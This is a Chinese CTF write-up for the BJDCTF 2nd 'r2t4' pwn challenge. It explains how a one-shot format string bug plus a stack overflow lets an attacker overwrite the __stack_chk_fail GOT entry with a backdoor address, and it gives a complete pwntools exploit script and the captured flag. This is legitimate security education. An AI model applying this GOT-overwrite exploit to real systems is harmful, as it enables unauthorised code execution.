收获

  • 存在 Canary 保护,只能使用一次格式化字符串漏洞,但没有开 PIE,因此想到劫持 __stack_chk_fail 的 GOT 表地址为后门函数的地址

【BJDCTF 2nd】r2t4


思路

查看保护机制:

【BJDCTF 2nd】r2t4 1.png

尝试运行,明显存在溢出:

【BJDCTF 2nd】r2t4 2.png

IDA 下分析:

【BJDCTF 2nd】r2t4 3.png

明显 buf 处存在溢出,且 printf(buf) 存在格式化字符串漏洞

存在一个后门函数 backdoor()

【BJDCTF 2nd】r2t4 4.png

但这里 buf 溢出的长度有限,只能刚好覆盖返回地址

【BJDCTF 2nd】r2t4 5.png

【BJDCTF 2nd】r2t4 6.png

考虑到 Partial RELRO,并且存在格式化字符串漏洞,且只能使用一次格式化字符串漏洞

因此尝试劫持 __stack_chk_fail 函数的 GOT 表地址为后门函数 backdoor() 的地址

由于是 64 位程序,根据栈的布局可知,输入的格式化字符串偏移为 6

如果对格式化字符串漏洞不熟悉的话,可以看看本站《格式化字符串漏洞与利用》一文


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./r2t4")
libc = ELF("./libc-2.29.so")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./r2t4")
else:
	# 远程程序的 IP 和端口号
    io = remote("node5.buuoj.cn", 28170)


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


backdoor_addr = elf.symbols["backdoor"]
__stack_chk_fail_got_addr = elf.got["__stack_chk_fail"]

payload = fmtstr_payload(6, {__stack_chk_fail_got_addr: backdoor_addr})
io.sendline(payload)

# 与远程交互
io.interactive()

结果

flag{90b19213-0fe1-4802-a73f-7e4f38962e88}

【BJDCTF 2nd】r2t4 7.png